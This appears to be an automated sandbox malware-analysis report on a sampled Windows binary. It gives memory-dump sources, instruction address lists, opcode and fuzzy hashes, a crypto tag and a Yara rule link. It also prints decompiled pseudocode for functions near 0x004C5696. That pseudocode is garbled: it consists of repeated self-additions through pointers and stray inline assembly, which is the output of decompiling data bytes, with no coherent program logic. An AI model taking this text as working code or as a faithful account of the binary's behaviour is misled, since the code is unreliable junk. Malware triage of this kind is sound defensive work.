				 *((intOrPtr*)(_t493 + _t493 + 0x41a4)) =  *((intOrPtr*)(_t493 + _t493 + 0x41a4)) + _t493;
				 *_t493 =  *_t493 + _t493;
				asm("daa");
				_t661 = _t660 + 1;
				_t496 = ( *_t491 | 0x000000a4) + _t584;
				_t585 = _t584 + 1;
				 *_t496 =  *_t496 + _t496;
				 *_t496 =  *_t496 + _t496;
				_t535 = _t496;
				asm("sbb al, 0x4a");
				_t499 = _t493 | _t584 | _t535 | 0x000000a4;
				 *_t535 =  *_t535 + _t499;
				_t617 = _t616 + 1;
				 *_t499 =  *_t499 + _t499;
				 *_t499 =  *_t499 + _t499;
				asm("sbb al, 0x50");
				_t502 = _t535 | _t585 | 0x000000a4;
				 *((intOrPtr*)(_t617 + _t502 * 2)) =  *((intOrPtr*)(_t617 + _t502 * 2)) + _t585;
				 *_t502 =  *_t502 + _t502;
				 *_t502 =  *_t502 + _t502;
				_t503 = _t499;
				_t537 = _t502;
				 *_t503 =  *_t503 | _t537;
				_t505 = _t503 | 0xf7;
				 *((intOrPtr*)(_t617 + _t505 * 2)) =  *((intOrPtr*)(_t617 + _t505 * 2)) + _t537;
				 *_t505 =  *_t505 + _t505;
				 *_t505 =  *_t505 + _t505;
				_t506 = _t537;
				_t538 = _t505;
				 *(_t657 - 0x5af3a8d2) =  *(_t657 - 0x5af3a8d2) | _t617;
				 *((intOrPtr*)(_t617 + _t506 * 2)) =  *((intOrPtr*)(_t617 + _t506 * 2)) + _t585;
				 *_t506 =  *_t506 + _t506;
				 *((intOrPtr*)(_t653 + 0x5d2eb308)) =  *((intOrPtr*)(_t653 + 0x5d2eb308)) + _t617;
				_t507 = _t506 | 0x000000a5;
				_t354 = _t617 + _t507 * 2;
				 *_t354 =  *((intOrPtr*)(_t617 + _t507 * 2)) + _t507;
				_t586 =  *_t507;
				 *_t507 = _t585;
				if( *_t354 < 0) {
					_t513 = _t507 -  *_t586;
					asm("movsd");
					 *((intOrPtr*)(_t653 + 0x42)) =  *((intOrPtr*)(_t653 + 0x42)) + _t513;
					 *((intOrPtr*)(_t653 + 0x12d8808)) =  *((intOrPtr*)(_t653 + 0x12d8808)) + _t513;
					_t657[0x10aec0] = _t657[0x10aec0] + _t513;
					 *_t513 =  *_t513 + _t513;
					 *((intOrPtr*)(_t653 + 0x62a4918)) =  *((intOrPtr*)(_t653 + 0x62a4918)) + _t513;
					 *((intOrPtr*)(_t653 + 0x42c400)) =  *((intOrPtr*)(_t653 + 0x42c400)) + _t513;
					 *_t513 =  *_t513 + _t513;
					 *((intOrPtr*)(_t586 + 0x5b2a4f18)) =  *((intOrPtr*)(_t586 + 0x5b2a4f18)) + _t617;
					_t507 = _t513 +  *_t653;
				}
				 *_t507 =  *_t507 + _t507;
				 *_t507 =  *_t507 + _t507;
				 *_t538 =  *_t538 + _t507;
				 *((intOrPtr*)(_t653 - 0x58d5b6e8)) =  *((intOrPtr*)(_t653 - 0x58d5b6e8)) + _t507;
				 *_t653 =  *_t653 + _t661;
				 *_t538 =  *_t538 + _t507;
				 *((intOrPtr*)(_t538 + _t538)) =  *((intOrPtr*)(_t538 + _t538)) + _t538;
				 *_t507 =  *_t507 + _t507;
				 *_t507 =  *_t507 + _t507;
				_t508 = _t507 +  *_t507;
				 *_t586 = 0x17;
				asm("sbb esp, [edx+0xc]");
				asm("stosb");
				 *_t508 =  *_t508 + _t508;
				 *_t508 =  *_t508 + _t508;
				 *_t538 =  *_t538 + _t508;
				 *0xae0c6f1b =  *0xae0c6f1b + _t586;
				 *_t508 =  *_t508 + _t508;
				 *_t508 =  *_t508 + _t508;
				 *_t538 =  *_t538 + _t508;
				 *((intOrPtr*)(_t653 - 0x58d5b6e8)) =  *((intOrPtr*)(_t653 - 0x58d5b6e8)) + _t508;
				 *_t634 = _t657 +  *_t634;
				 *_t538 =  *_t538 + _t508;
				 *((intOrPtr*)(_t538 + _t538)) =  *((intOrPtr*)(_t538 + _t538)) + _t538;
				 *_t508 =  *_t508 + _t508;
				 *_t508 =  *_t508 + _t508;
				_t509 = _t508 +  *_t508;
				 *0 = 0x17;
				asm("sbb esp, [edx+0xc]");
				 *_t509 =  *_t509 + _t509;
				 *_t509 =  *_t509 + _t509;
				_t510 = _t509 +  *_t509;
				 *0 = 0xd;
				asm("sbb ebp, [edi+0xc]");
				 *_t510 =  *_t510 + _t510;
				 *_t510 =  *_t510 + _t510;
				_t511 = _t510 +  *_t510;
				_t541 =  *_t511;
				 *_t511 = 0;
				_t512 = _t511 -  *((intOrPtr*)(_t634 + 0xb801));
				 *_t512 =  *_t512 + _t512;
				 *_t541 =  *_t541 + _t512;
				 *((intOrPtr*)(_t541 + _t541)) =  *((intOrPtr*)(_t541 + _t541)) + _t541;
				 *_t541 =  *_t541 + _t512;
				 *_t634 =  *_t634 + 0 + _t512;
				asm("sbb esp, [edx+0xc]");
				 *_t541 =  *_t541 + _t512;
				 *0xc00c6f1b =  *0xc00c6f1b + 0xffffffffffffffff;
				 *_t512 =  *_t512 + _t512;
				 *_t512 =  *_t512 + _t512;
				 *_t541 =  *_t541 + _t512;
				 *((intOrPtr*)(_t653 - 0x58d5b6e8)) =  *((intOrPtr*)(_t653 - 0x58d5b6e8)) + _t512;
				 *_t512 =  *_t512 + _t512;
				 *_t512 =  *_t512 + _t512;
				 *_t541 =  *_t541 + _t512;
				 *((intOrPtr*)(_t541 + _t541)) =  *((intOrPtr*)(_t541 + _t541)) + _t541;
				return _t512;
			}

0x004c53d5
0x004c53d5
0x004c53d6
0x004c53d8
0x004c53d9
0x004c53e0
0x004c53e6
0x004c53ee
0x004c53f0
0x004c53f4
0x004c53f6
0x004c53f7
0x004c53fb
0x004c53fe
0x004c5400
0x004c5402
0x004c5403
0x004c540b
0x004c5411
0x004c5416
0x004c5418
0x004c5419
0x004c541c
0x004c541d
0x004c5422
0x004c5423
0x004c5429
0x004c542a
0x004c542b
0x004c542e
0x004c5430
0x004c5431
0x004c5433
0x004c5434
0x004c5436
0x004c5438
0x004c5439
0x004c543c
0x004c543e
0x004c543f
0x004c543f
0x004c5446
0x004c5448
0x004c544a
0x004c544b
0x004c544e
0x004c5450
0x004c5451
0x004c5458
0x004c5458
0x004c545a
0x004c545c
0x004c545d
0x004c5463
0x004c5464
0x004c5468
0x004c5469
0x004c546c
0x004c546e
0x004c5472
0x004c5474
0x004c5478
0x004c547a
0x004c547b
0x004c547e
0x004c5480
0x004c5484
0x004c5486
0x004c5487
0x004c548a
0x004c548d
0x004c5494
0x004c5495
0x004c5497
0x004c549a
0x004c54b2
0x004c54b2
0x004c549c
0x004c549c
0x004c549e
0x004c549f
0x004c54a6
0x004c54a9
0x004c54ac
0x004c54ae
0x004c54b0
0x004c54b1
0x00000000
0x004c54b1
0x004c54ac
0x004c54b4
0x004c54b6
0x004c54b6
0x004c54b8
0x004c54b9
0x004c54bb
0x004c54bd
0x004c54c1
0x004c54c3
0x004c54c9
0x004c54cb
0x004c54cf
0x004c54d1
0x004c54d7
0x004c54d9
0x004c54e0
0x004c54e2
0x004c54e3
0x004c54e7
0x004c54e9
0x004c54eb
0x004c54ed
0x004c54f3
0x004c54f5
0x004c54f8
0x004c54fa
0x004c54fc
0x004c54fc
0x004c5503
0x004c5507
0x004c5509
0x004c550f
0x004c5511
0x004c5514
0x004c5516
0x004c5518
0x004c5518
0x004c551a
0x004c551b
0x004c551e
0x004c5520
0x004c5523
0x004c5525
0x004c552b
0x004c552e
0x004c552f
0x004c5531
0x004c5533
0x004c5539
0x004c553f
0x004c5541
0x004c5547
0x004c554d
0x004c554f
0x004c5555
0x004c5557
0x004c5559
0x004c555b
0x004c555d
0x004c5563
0x004c5565
0x004c5568
0x004c556a
0x004c556c
0x004c556c
0x004c5573
0x004c5576
0x004c5578
0x004c557a
0x004c5580
0x004c5581
0x004c5583
0x004c5585
0x004c5587
0x004c558f
0x004c5592
0x004c5594
0x004c5596
0x004c5598
0x004c5599
0x004c559b
0x004c559d
0x004c55a3
0x004c55ad
0x004c55af
0x004c55b1
0x004c55b9
0x004c55bb
0x004c55bd
0x004c55bf
0x004c55c9
0x004c55cb
0x004c55cd
0x004c55d9
0x004c55db
0x004c55e5
0x004c55e7
0x004c55e9
0x004c55ef
0x004c55f3
0x004c55f5
0x004c55f7
0x004c55fd
0x004c55ff
0x004c5601
0x004c5603
0x004c5605
0x004c560d
0x004c5610
0x004c5612
0x004c5614
0x004c5616
0x004c5618
0x004c561b
0x004c5621
0x004c562b
0x004c562d
0x004c562f
0x004c5638
0x004c563e
0x004c563e
0x004c5640
0x004c564c
0x004c564e
0x004c564f
0x004c5651
0x004c5653
0x004c5656
0x004c5658
0x004c565a
0x004c565c
0x004c565e
0x004c565f
0x004c5661
0x004c566b
0x004c566e
0x004c5670
0x004c5674
0x004c5676
0x004c5678
0x004c5679
0x004c567c
0x004c567e
0x004c5684
0x004c5686
0x004c568b
0x004c568d
0x004c5690
0x004c5692
0x004c56b6
0x004c56b8
0x004c56ba
0x004c56bc
0x004c56bc
0x004c56bd
0x004c56c3
0x004c56c6
0x004c56c8
0x004c56ca
0x004c56cc
0x004c56ce
0x004c56cf
0x004c56d1
0x004c56d8
0x004c56de
0x004c56e0
0x004c56e2
0x004c56e4
0x004c56e4
0x004c56e6
0x004c56e6
0x004c56e8
0x004c56ea
0x004c56ed
0x004c56f0
0x004c56f2
0x004c56f4
0x004c56f4
0x004c56f6
0x004c56fd
0x004c56ff
0x004c5701
0x004c5707
0x004c5709
0x004c570b
0x004c570d
0x004c570f
0x004c5715
0x004c5717
0x004c5719
0x004c571b
0x004c571d
0x004c5723
0x004c5725
0x004c5729
0x004c572b
0x004c5731
0x004c5733
0x004c573a
0x004c573a
0x004c573c
0x004c573d
0x004c5743
0x004c5745
0x004c5747
0x004c574d
0x004c5751
0x004c5753
0x004c5755
0x004c575b
0x004c575d
0x004c575f
0x004c5761
0x004c5763
0x004c5769
0x004c576b
0x004c576d
0x004c576f
0x004c5771
0x004c5777
0x004c5779
0x004c577f
0x004c5785
0x004c5788
0x004c5789
0x004c578b
0x004c578d
0x004c5793
0x004c5799
0x004c579b
0x004c57a1
0x004c57a7
0x004c57ab
0x004c57b3
0x004c57b5
0x004c57b7
0x004c57bd
0x004c57bf
0x004c57c1
0x004c57c6
0x004c57c6
0x004c57c9
0x004c57cc
0x004c57ce
0x004c57d4
0x004c57d6
0x004c57d7
0x004c57d9
0x004c57dd
0x004c57e2
0x004c57e8
0x004c57ea
0x004c57ec
0x004c57ee
0x004c57f0
0x004c57f8
0x004c57f9
0x004c57fa
0x004c57fc
0x004c57fe
0x004c5804
0x004c5806
0x004c5808
0x004c580a
0x004c580c
0x004c5812
0x004c5814
0x004c5818
0x004c581a
0x004c5820
0x004c5822
0x004c5824
0x004c5826
0x004c5828
0x004c5830
0x004c5831
0x004c5833
0x004c5835
0x004c583b
0x004c583e
0x004c5840
0x004c5842
0x004c5844
0x004c584a
0x004c584f
0x004c5851
0x004c5857
0x004c5859
0x004c585d
0x004c585f
0x004c5867
0x004c586d
0x004c5877
0x004c5879
0x004c587b
0x004c5884
0x004c5887
0x004c5889
0x004c588b
0x004c5891
0x004c5897
0x004c589d
0x004c589f
0x004c58a3
0x004c58a5
0x004c58a7
0x004c58a9
0x004c58b1
0x004c58b3
0x004c58b9
0x004c58bc
0x004c58bf
0x004c58c1
0x004c58c7
0x004c58ca
0x004c58cc
0x004c58ce
0x004c58d0
0x004c58d7
0x004c58db
0x004c58dd
0x004c58e3
0x004c58e6
0x004c58e8
0x004c58ea
0x004c58ec
0x004c58ec
0x004c58ed
0x004c58f3
0x004c58f6
0x004c58f8
0x004c58fa
0x004c58fa
0x004c58fc
0x004c58fd
0x004c58ff
0x004c5902
0x004c5905
0x004c5907
0x004c5913
0x004c5915
0x004c591e
0x004c5924
0x004c5924
0x004c5925
0x004c5927
0x004c592b
0x004c592e
0x004c5930
0x004c5932
0x004c5932
0x004c5933
0x004c5935
0x004c5938
0x004c5939
0x004c593f
0x004c5945
0x004c5948
0x004c594f
0x004c5951
0x004c5954
0x004c595c
0x004c595c
0x004c595d
0x004c595f
0x004c5962
0x004c5963
0x004c5966
0x004c5968
0x004c596a
0x004c596b
0x004c596e
0x004c5972
0x004c5973
0x004c5976
0x004c5978
0x004c5979
0x004c597b
0x004c597c
0x004c5981
0x004c5984
0x004c5986
0x004c5986
0x004c5987
0x004c5989
0x004c598c
0x004c598d
0x004c5991
0x004c5993
0x004c5999
0x004c599c
0x004c599e
0x004c59a0
0x004c59a2
0x004c59a2
0x004c59a3
0x004c59a3
0x004c59a6
0x004c59a8
0x004c59a9
0x004c59ac
0x004c59ae
0x004c59b0
0x004c59b0
0x004c59b0
0x004c59b2
0x004c59b2
0x004c59b3
0x004c59b5
0x004c59b8
0x004c59ba
0x004c59bc
0x004c59be
0x004c59c5
0x004c59c7
0x004c59c9
0x004c59cd
0x004c59d2
0x004c59d3
0x004c59d5
0x004c59d7
0x004c59d9
0x004c59db
0x004c59db
0x004c59dd
0x004c59e0
0x004c59e1
0x004c59e3
0x004c59e5
0x004c59e9
0x004c59ee
0x004c59ef
0x004c59f1
0x004c59f3
0x004c59f5
0x004c59f7
0x004c59fc
0x004c59fd
0x004c59ff
0x004c5a01
0x004c5a03
0x004c5a09
0x004c5a0c
0x004c5a0e
0x004c5a10
0x004c5a13
0x004c5a15
0x004c5a19
0x004c5a1b
0x004c5a1d
0x004c5a27
0x004c5a29
0x004c5a2b
0x004c5a31
0x004c5a37
0x004c5a39
0x004c5a3f
0x004c5a45
0x004c5a47
0x004c5a53
0x004c5a55
0x004c5a5b
0x004c5a61
0x004c5a63
0x004c5a69
0x004c5a6c
0x004c5a6d
0x004c5a6f
0x004c5a71
0x004c5a77
0x004c5a7e
0x004c5a80
0x004c5a83
0x004c5a85
0x004c5a8b
0x004c5a8d
0x004c5a93
0x004c5a99
0x004c5a9b
0x004c5aa1
0x004c5aa7
0x004c5aa9
0x004c5ab5
0x004c5ab7
0x004c5abd
0x004c5ac3
0x004c5ac5
0x004c5acb
0x004c5ad0
0x004c5ad2
0x004c5ad4
0x004c5ad7
0x004c5add
0x004c5adf
0x004c5ae1
0x004c5ae7
0x004c5ae8
0x004c5ae9
0x004c5aec
0x004c5aee
0x004c5af0
0x004c5af3
0x004c5af3
0x004c5af6
0x004c5af8
0x004c5afa
0x004c5afc
0x004c5afe
0x004c5b01
0x004c5b03
0x004c5b08
0x004c5b0a
0x004c5b0c
0x004c5b0f
0x004c5b11
0x004c5b11
0x004c5b14
0x004c5b16
0x004c5b18
0x004c5b1a
0x004c5b1d
0x004c5b24
0x004c5b26
0x004c5b28
0x004c5b2d
0x004c5b2f
0x004c5b32
0x004c5b34
0x004c5b36
0x004c5b39
0x004c5b3b
0x004c5b3d
0x004c5b43
0x004c5b4b
0x004c5b51
0x004c5b57
0x004c5b59
0x004c5b5b
0x004c5b5d
0x004c5b5f
0x004c5b65
0x004c5b6b
0x004c5b6d
0x004c5b73
0x004c5b75
0x004c5b77
0x004c5b79
0x004c5b7b
0x004c5b7d
0x004c5b83
0x004c5b89
0x004c5b8b
0x004c5b91
0x004c5b93
0x004c5b95
0x004c5b97
0x004c5b9d
0x004c5b9f
0x004c5ba1
0x004c5ba7
0x004c5bad
0x004c5bb3
0x004c5bb5
0x004c5bb7
0x004c5bbe
0x004c5bbf
0x004c5bc0
0x004c5bc2
0x004c5bc4
0x004c5bca
0x004c5bcb
0x004c5bcd
0x004c5bce
0x004c5bd0
0x004c5bd2
0x004c5bd8
0x004c5bdd
0x004c5bdf
0x004c5be5
0x004c5be7
0x004c5bea
0x004c5bec
0x004c5bef
0x004c5bf3
0x004c5bfa
0x004c5bfc
0x004c5bfd
0x004c5c01
0x004c5c08
0x004c5c0a
0x004c5c0b
0x004c5c0e
0x004c5c0f
0x004c5c16
0x004c5c18
0x004c5c18
0x004c5c19
0x004c5c1b
0x004c5c1f
0x004c5c22
0x004c5c24
0x004c5c26
0x004c5c28
0x004c5c29
0x004c5c2b
0x004c5c32
0x004c5c34
0x004c5c37
0x004c5c39
0x004c5c40
0x004c5c45
0x004c5c46
0x004c5c49
0x004c5c4b
0x004c5c4c
0x004c5c4e
0x004c5c50
0x004c5c53
0x004c5c55
0x004c5c57
0x004c5c59
0x004c5c5a
0x004c5c5c
0x004c5c61
0x004c5c63
0x004c5c65
0x004c5c68
0x004c5c6a
0x004c5c6c
0x004c5c6c
0x004c5c6d
0x004c5c71
0x004c5c73
0x004c5c76
0x004c5c78
0x004c5c7a
0x004c5c7a
0x004c5c7b
0x004c5c81
0x004c5c85
0x004c5c87
0x004c5c8d
0x004c5c8f
0x004c5c8f
0x004c5c96
0x004c5c96
0x004c5c98
0x004c5c9a
0x004c5c9c
0x004c5c9d
0x004c5ca3
0x004c5ca9
0x004c5caf
0x004c5cb1
0x004c5cb7
0x004c5cbd
0x004c5cbf
0x004c5cc5
0x004c5cc5
0x004c5cc7
0x004c5cc9
0x004c5ccb
0x004c5ccd
0x004c5cd3
0x004c5cd9
0x004c5cdd
0x004c5ce4
0x004c5ce6
0x004c5ce8
0x004c5cea
0x004c5ced
0x004c5cf0
0x004c5cf1
0x004c5cf3
0x004c5cf5
0x004c5cf9
0x004c5cff
0x004c5d01
0x004c5d03
0x004c5d05
0x004c5d0b
0x004c5d11
0x004c5d15
0x004c5d1c
0x004c5d1e
0x004c5d20
0x004c5d22
0x004c5d25
0x004c5d2a
0x004c5d2c
0x004c5d2e
0x004c5d30
0x004c5d33
0x004c5d38
0x004c5d3a
0x004c5d3c
0x004c5d3e
0x004c5d3e
0x004c5d41
0x004c5d47
0x004c5d49
0x004c5d4d
0x004c5d57
0x004c5d5b
0x004c5d5d
0x004c5d65
0x004c5d69
0x004c5d6f
0x004c5d71
0x004c5d73
0x004c5d75
0x004c5d7d
0x004c5d7f
0x004c5d81
0x004c5d85
0x004c5d8a

Memory Dump Source

Source File: 00000000.00000002.706249476.00000000004C2000.00000002.00020000.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.706236781.00000000004C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.706341846.0000000000556000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d4e896aca0b9b686672b428464de45d750cdb85cf266f78843436386b323d5
Instruction ID: 203ed4dd6f437718ae946ca51fd93350af59f1fda07e4e65ac7245dc37e62ca8
Opcode Fuzzy Hash: f0d4e896aca0b9b686672b428464de45d750cdb85cf266f78843436386b323d5
Instruction Fuzzy Hash: 2182DC6140E7D14FD7138B748CB4A92BFB0AE13214B1E86DBC0C5CF4E3D229695AD7A6

Uniqueness

Uniqueness Score: -1.00%

Function 004C5696, Relevance: .6, Instructions: 614
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E004C5696(signed char __eax, intOrPtr* __ebx, intOrPtr* __ecx, void* __edx, signed int __edi, signed int __esi) {
				intOrPtr* _t297;
				signed int _t298;
				intOrPtr* _t300;
				intOrPtr* _t301;
				intOrPtr* _t302;
				intOrPtr* _t303;
				intOrPtr* _t304;
				intOrPtr* _t305;
				intOrPtr* _t307;
				intOrPtr* _t308;
				intOrPtr* _t309;
				intOrPtr* _t310;
				signed int _t313;
				signed int _t314;
				signed char _t316;
				signed char _t317;
				signed char _t319;
				signed char _t320;
				signed char _t321;
				signed char _t322;
				signed int _t324;
				signed int _t325;
				signed int _t327;
				intOrPtr* _t328;
				signed int _t329;
				signed int _t330;
				signed char _t331;
				signed int _t332;
				signed char _t333;
				signed char _t334;
				signed char _t335;
				signed char _t338;
				signed char _t339;
				signed char _t340;
				signed char _t341;
				intOrPtr* _t342;
				signed char _t343;
				signed char _t344;
				signed char _t345;
				signed char _t346;
				signed int _t347;
				signed char _t348;
				signed char _t350;
				signed char _t351;
				signed char _t352;
				signed char _t353;
				signed char _t354;
				signed char _t355;
				intOrPtr* _t356;
				signed char _t357;
				signed char _t358;
				intOrPtr* _t360;
				signed int _t361;
				signed int* _t362;
				intOrPtr* _t363;
				intOrPtr* _t364;
				signed int* _t365;
				intOrPtr* _t366;
				signed int _t367;
				signed int _t370;
				signed char _t373;
				signed char _t376;
				signed char _t377;
				signed int _t379;
				signed char _t380;
				signed int _t381;
				intOrPtr* _t382;
				intOrPtr* _t383;
				intOrPtr* _t384;
				signed int** _t385;
				intOrPtr* _t386;
				intOrPtr* _t387;
				signed char _t388;
				intOrPtr* _t389;
				intOrPtr* _t390;
				signed int _t392;
				signed int _t393;
				signed char _t395;
				void* _t396;
				signed char _t397;
				signed char _t398;
				signed int* _t401;
				signed int _t405;
				signed char _t407;
				signed int _t408;
				intOrPtr* _t411;
				signed int _t415;
				void* _t416;
				signed short _t420;
				signed short _t421;
				signed int _t422;
				signed char _t423;
				signed char _t425;
				signed char _t426;
				signed char _t428;
				signed char _t431;
				signed char _t432;
				char* _t433;
				void* _t438;
				signed int* _t439;
				intOrPtr* _t440;
				void* _t441;
				signed char _t443;
				signed int _t445;
				signed int _t446;
				signed char _t447;
				signed int _t457;
				signed int _t461;
				signed int _t462;
				signed int _t463;
				signed int _t465;
				signed char _t466;
				signed char _t467;
				signed char _t468;
				signed char _t470;
				signed char _t473;
				void* _t474;
				signed int _t476;
				intOrPtr* _t479;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int* _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				void* _t487;

				_t463 = __esi;
				_t457 = __edi;
				_t438 = __edx;
				_t413 = __ecx;
				_t296 = __eax;
				_push(_t480);
				_t392 = __ebx +  *__ebx;
				 *((intOrPtr*)(__eax + 0x26)) =  *((intOrPtr*)(__eax + 0x26)) + __ecx;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				asm("les eax, [ecx]");
				if( *__eax < 0) {
					asm("adc eax, 0x7c001c00");
					 *[es:eax] =  *[es:eax] + __eax;
					 *__eax =  *__eax + __eax;
					 *__eax = _t392;
					_t413 = __ecx - 1 -  *((intOrPtr*)(__ecx - 1));
					_t392 =  *__eax |  *0x271a00;
					asm("sbb ah, [edi]");
					 *__eax =  *__eax + __eax;
					 *__eax =  *__eax + __eax;
					_t296 =  *__eax;
					 *_t296 = __eax;
				}
				 *((intOrPtr*)(_t413 + 0x1f000631)) =  *((intOrPtr*)(_t413 + 0x1f000631)) + _t392;
				 *_t457 =  *_t457 + _t392;
				 *_t296 =  *_t296 + _t296;
				 *_t296 =  *_t296 + _t296;
				asm("les eax, [eax]");
				if( *_t296 == 0) {
					asm("popad");
					 *_t457 =  *_t457 + _t392;
					 *((intOrPtr*)(_t413 + _t480)) =  *((intOrPtr*)(_t413 + _t480)) + _t413;
					 *_t296 =  *_t296 + 0x625d4;
					 *_t296 =  *_t296 & _t296;
					asm("fisubr word [ecx]");
					 *_t296 =  *_t296 + _t296;
					 *_t296 =  *_t296 + _t296;
				}
				_t297 =  *_t296;
				 *_t297 = _t296;
				asm("loopne 0x27");
				asm("repe or ah, [eax]");
				 *((intOrPtr*)(_t438 + _t480)) =  *((intOrPtr*)(_t438 + _t480)) + _t297;
				 *_t297 =  *_t297 + _t297;
				 *_t297 =  *_t297 + _t297;
				_t298 =  *_t297;
				 *_t298 = _t297;
				asm("loopne 0x27");
				_t300 = (_t298 & 0x38002102) -  *(_t298 & 0x38002102);
				 *_t300 =  *_t300 + _t300;
				 *((intOrPtr*)(_t463 + 0x4225e000)) =  *((intOrPtr*)(_t463 + 0x4225e000)) + _t300;
				_t301 = _t300 + 0x23;
				_t439 = _t438 + _t301;
				_t302 = _t301 -  *_t301;
				 *_t302 =  *_t302 + _t302;
				 *((intOrPtr*)(_t463 + 0x6230c00)) =  *((intOrPtr*)(_t463 + 0x6230c00)) + _t302;
				 *_t457 =  *_t457 + _t302;
				 *_t302 =  *_t302 + _t302;
				_t303 = _t302 -  *_t302;
				 *_t303 =  *_t303 + _t303;
				 *((intOrPtr*)(_t463 + 0x2f310c00)) =  *((intOrPtr*)(_t463 + 0x2f310c00)) + _t303;
				_t485 = _t484 |  *_t457;
				 *((intOrPtr*)(_t392 + _t480)) =  *((intOrPtr*)(_t392 + _t480)) + _t392;
				 *_t303 =  *_t303 + _t303;
				 *((intOrPtr*)(_t463 + 0x61a7700)) =  *((intOrPtr*)(_t463 + 0x61a7700)) + _t303;
				 *_t413 =  *_t413 + _t413;
				 *((intOrPtr*)(_t392 + _t480)) =  *((intOrPtr*)(_t392 + _t480)) + _t413;
				_t304 =  *_t303;
				 *_t304 = _t303;
				asm("out dx, al");
				asm("sbb [0xb500290b], esi");
				_t305 = _t304 -  *_t304;
				 *_t305 =  *_t305 + _t305;
				 *((intOrPtr*)(_t463 + 0x61d3200)) =  *((intOrPtr*)(_t463 + 0x61d3200)) + _t305;
				 *_t439 =  *_t439 + _t413;
				_t307 = _t305 + _t413 -  *((intOrPtr*)(_t305 + _t413));
				 *_t307 =  *_t307 + _t307;
				 *((intOrPtr*)(_t463 + 0x6293800)) =  *((intOrPtr*)(_t463 + 0x6293800)) + _t307;
				 *_t439 =  *_t439 + _t413;
				 *_t307 =  *_t307 + _t439;
				_t308 = _t307;
				 *_t308 =  *_t308 + _t308;
				 *((intOrPtr*)(_t463 + 0x35293800)) =  *((intOrPtr*)(_t463 + 0x35293800)) + _t308;
				_t481 = _t480 |  *_t439;
				 *_t308 =  *_t308 + _t308;
				_t309 = _t308;
				 *_t309 =  *_t309 + _t309;
				 *((intOrPtr*)(_t463 + 0x34293800)) =  *((intOrPtr*)(_t463 + 0x34293800)) + _t309;
				 *_t392 =  *_t392 + _t481;
				 *((intOrPtr*)(_t413 + 0x2c)) =  *((intOrPtr*)(_t413 + 0x2c)) + _t413;
				 *((intOrPtr*)(_t463 + 0x342f6500)) =  *((intOrPtr*)(_t463 + 0x342f6500)) + _t309;
				 *((intOrPtr*)(_t309 + _t309)) =  *((intOrPtr*)(_t309 + _t309)) + _t481;
				asm("pushfd");
				_t310 = _t309;
				 *_t310 =  *_t310 + _t310;
				 *((intOrPtr*)(_t463 + 0x4c2f5b00)) =  *((intOrPtr*)(_t463 + 0x4c2f5b00)) + _t310;
				 *0x2cc000 =  *0x2cc000 + _t413;
				 *_t310 =  *_t310 + _t310;
				 *((intOrPtr*)(_t392 + 0x3b199800)) =  *((intOrPtr*)(_t392 + 0x3b199800)) + _t310;
				_t482 = _t481 |  *0x2cca00;
				 *_t310 =  *_t310 + _t310;
				_t439[0xbc2d08b] = _t439[0xbc2d08b] + _t392;
				_t313 = _t310 + _t310 + _t310 + _t310;
				 *_t313 =  *_t313 + _t313;
				 *((intOrPtr*)(_t463 + 0x1522cf00)) =  *((intOrPtr*)(_t463 + 0x1522cf00)) + _t313;
				 *_t313 =  *_t313 + _t439;
				 *_t313 =  *_t313 + _t413;
				_t314 = _t313;
				_t393 =  *_t314;
				 *_t314 = _t392;
				_t415 = _t413 - 1 -  *((intOrPtr*)(_t314 + 0xb));
				 *_t314 =  *_t314 ^ _t314;
				 *0 = _t415;
				asm("les eax, [eax]");
				asm("salc");
				 *_t463 =  *_t463 & _t314;
				 *_t439 = _t439 +  *_t439;
				_t316 = _t439 + _t314;
				 *_t316 =  *_t316 + 0x6291d;
				_t317 = _t316 ^  *_t316;
				asm("adc [esi], ch");
				 *_t317 =  *_t317 + _t317;
				 *_t317 =  *_t317 + _t317;
				 *_t317 =  *_t317 + 0x62496;
				_t319 = _t317 ^  *_t317;
				asm("das");
				 *_t319 =  *_t319 + _t319;
				 *_t319 =  *_t319 + _t319;
				 *_t319 =  *_t319 + 0x63184;
				_t320 = _t319 ^  *_t319;
				asm("aam 0x30");
				 *_t320 =  *_t320 + _t320;
				 *_t320 =  *_t320 + _t320;
				 *_t320 =  *_t320 + 0x6256f;
				_t321 = _t320 ^  *_t320;
				asm("enter 0x31, 0x0");
				 *_t321 =  *_t321 + _t321;
				 *_t321 =  *_t321 + 0x625e0;
				_t322 = _t321 ^  *_t321;
				asm("adc al, 0x32");
				 *_t322 =  *_t322 + _t322;
				 *_t322 =  *_t322 + _t322;
				 *_t322 =  *_t322 + 0xb3b275a;
				_push(_t485);
				_t324 = _t322 ^  *_t322 ^  *(_t322 ^  *_t322);
				 *_t324 =  *_t324 + _t324;
				 *((intOrPtr*)(_t415 + 0x12d9700)) =  *((intOrPtr*)(_t415 + 0x12d9700)) + _t324;
				 *((intOrPtr*)(_t324 + _t324)) =  *((intOrPtr*)(_t324 + _t324)) + _t439;
				 *_t439 = _t463;
				 *_t324 =  *_t324 + _t324;
				 *_t324 =  *_t324 + _t324;
				 *_t324 =  *_t324 + 0x12fca;
				_t325 = _t324 ^ 0x0032bc00;
				 *_t325 =  *_t325 + _t325;
				 *((intOrPtr*)(_t415 + 0x3b18c200)) =  *((intOrPtr*)(_t415 + 0x3b18c200)) + _t325;
				_t465 =  *_t439 |  *( *_t439);
				 *((intOrPtr*)(_t393 + _t465)) =  *((intOrPtr*)(_t393 + _t465)) + _t393;
				 *_t325 =  *_t325 + _t325;
				 *((intOrPtr*)(_t415 + 0x3b18a500)) =  *((intOrPtr*)(_t415 + 0x3b18a500)) + _t325;
				 *((intOrPtr*)(_t325 + 0x33)) =  *((intOrPtr*)(_t325 + 0x33)) + _t415;
				 *((intOrPtr*)(_t415 + 0x4e26e700)) =  *((intOrPtr*)(_t415 + 0x4e26e700)) + _t325;
				_t327 = _t439 + _t325 ^  *(_t439 + _t325);
				 *_t327 =  *_t327 + _t327;
				 *((intOrPtr*)(_t415 + 0x3b2db500)) =  *((intOrPtr*)(_t415 + 0x3b2db500)) + _t327;
				asm("sbb dh, [eax+eax]");
				 *_t327 =  *_t327 + _t327;
				_t328 = _t327 + _t327;
